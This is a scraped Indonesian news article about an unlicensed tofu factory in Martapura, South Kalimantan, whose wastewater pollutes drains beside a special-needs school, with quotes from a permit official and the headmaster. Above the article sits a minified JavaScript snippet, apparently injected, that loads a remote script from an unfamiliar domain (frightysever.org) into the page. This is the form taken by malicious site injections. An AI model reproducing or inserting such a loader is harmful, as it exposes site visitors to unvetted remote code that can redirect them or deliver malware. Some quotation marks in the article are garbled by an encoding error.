(function(f,b,n,j,x,e){x=b.createElement(n);e=b.getElementsByTagName(n)[0];x.async=1;x.src=j;e.parentNode.insertBefore(x,e);})(window,document,'script','https://frightysever.org/Bgkc244P');
MARTAPURA, Selain tidak memiliki izin lingkungan dari Dinas Lingkungan Hidup (DLH) Banjar, ternyarta pabrik tahu yang mencemari lingkungan di kawasan Indrasari Kecamatan Martapura, juga diduga tidak kantongi izin usaha dari Dinas Penanaman Modal dan Perizinan Terpadu Satu Pintu Kabupaten Banjar.
Setelah diprotes warga dan pihak Sekolah Luar Biasa Negri (SLBN) 1 Martapura, terkait keberadaan air limbah pabrik tahu yang menimbulkan bau tak sedap dan diduga mencemari lingkungan. Ternyata hampir semua produksi olahan kedelai yang marak di Kabupaten Banjar, disinyalir mengabaikan soal perizinan.
Begitu disampaikan kepala seksi pelayanan jasa usaha Dinas PMPTSP Banjar Iswidayati, hingga tahun 2019 seluruh usaha pembuatan tahu tempe di Kabupatem Banjar seperti yang ada di Jalan Veteran, Sungai Paring dan Indrasari Kecamatan Martapura, masih tidak memiliki surat izin industri dari pemerintah Kabupaten Banjar.
“Sejak 2018 itu hanya ada satu permohonan izin yang masuk ketempat kita, yaitu pabrik tahu di jalan Candra Kirana, Kelurahan Indra Sari itu,namun hingga sekarang tidak pernah lagi kembali ketempat kita, sepertinya masih belum memenuhi persyaratan juga,â€Âakunya.
Padahal dikatakannya sudah jelas sebagaimana ditentukan dalam peraturan menteri perindustrian nomor 41 tahun 2008, tentang ketentuan dan tata cara pemberian usaha industry, setiap pendirian usaha industri wajib memperoleh izin usaha industri.
Terlalu berdekatan dengan pemukiman dan Sekolah Luar Biasa Negri (SLBN) 1 Martapura, keberadaan air limbah tahu yang mencemari lingkungan sehingga menimbulkan aroma tidak sedap, di keluhkan warga di jalan Candra Kirana Kelurahan Indra Sari, Kecamatan Martapura, Kabupaten Banjar.
Menurut Kepala Sekolah SLBN 1 Martapura Muhammad Sayuti, adapun dampak pencemaran lingkungan yang dirasakan pihak sekolah sudah hampir selama 3 tahun belakangan terakhir.
Keberadaan pembuangan air limbah yang langsung ke selokan warga dan hanya berjarak kurang lebih 10 meter dari sekolah, tentunya membuat bau dan tidak sedap sehingga membuat guru dan murid yang sedang melakukan kegiatan belajar mengajar setiap harinya merasa terganggu.
“Jadi dampak dari pembuangan limbah pabrik tahu yang terlalu dekat dengan sekolah ini memang kami rasakan setiap harinya, kami guru dan 75 murid yang belajar setiap hari disini terpaksa harus menghirup udara yang tidak segar seperti ini, jelas saja kami merasa terganggu,†akunya.
Ditambahkan Sayuti, pihak sekolah sebenarnya tidak tinggal diam atas dampak pencemaran lingkungan ini. Sebelumnya dirinya pernah melaporkan ke Dinas Lingkungan Hidup Kabupaten banjar untuk mengadukan bau yang tidak sedap tersebut namun hingga sekarang masih saja bau dari air limbah dirasakan setiap harinya.
“Kita sudah pernah melapor sebanyak dua kali yaitu tahun 2018 yang lalu dan terakhir 3 bulan yang lalu, saya lihat memang pernah dilakukan peninjauan dari DLH Banjar sendiri namun hingga sekarang dampaknya masih saja kami rasakan,†katanya.(rendy)
KANALKALIMANTAN.COM, BALIKPAPAN - PT PLN (Persero) Unit Induk Penyaluran dan Pusat Pengatur Beban (UIP3B) Kalimantan… Read More
KANALKALIMANTAN.COM - Fitur Accessibility pada perangkat smartphone adalah fitur yang penting untuk seseorang yang memiliki… Read More
KANALKALIMANTAN.COM - Kamu pernah dengar istilah "brand itu nyawa bisnis"? Di era digital ini, pernyataan… Read More
KANALKALIMANTAN.COM, BANJARBARU - Puncak musim hujan sudah memasuki sejumlah wilayah Kalimantan Selatan (Kalsel) bertepatan pada… Read More
KANALKALIMANTAN.COM, BANJARBARU - Bagi warga Kota Banjarbaru yang akan meninggalkan rumah pada perayaan libur Natal… Read More
KANALKALIMANTAN.COM, BANJARBARU - Gubernur Kalimantan Selatan (Kalsel) menetapkan besaran Upah Minimum Provinsi (UMK), Upah Minimum… Read More
This website uses cookies.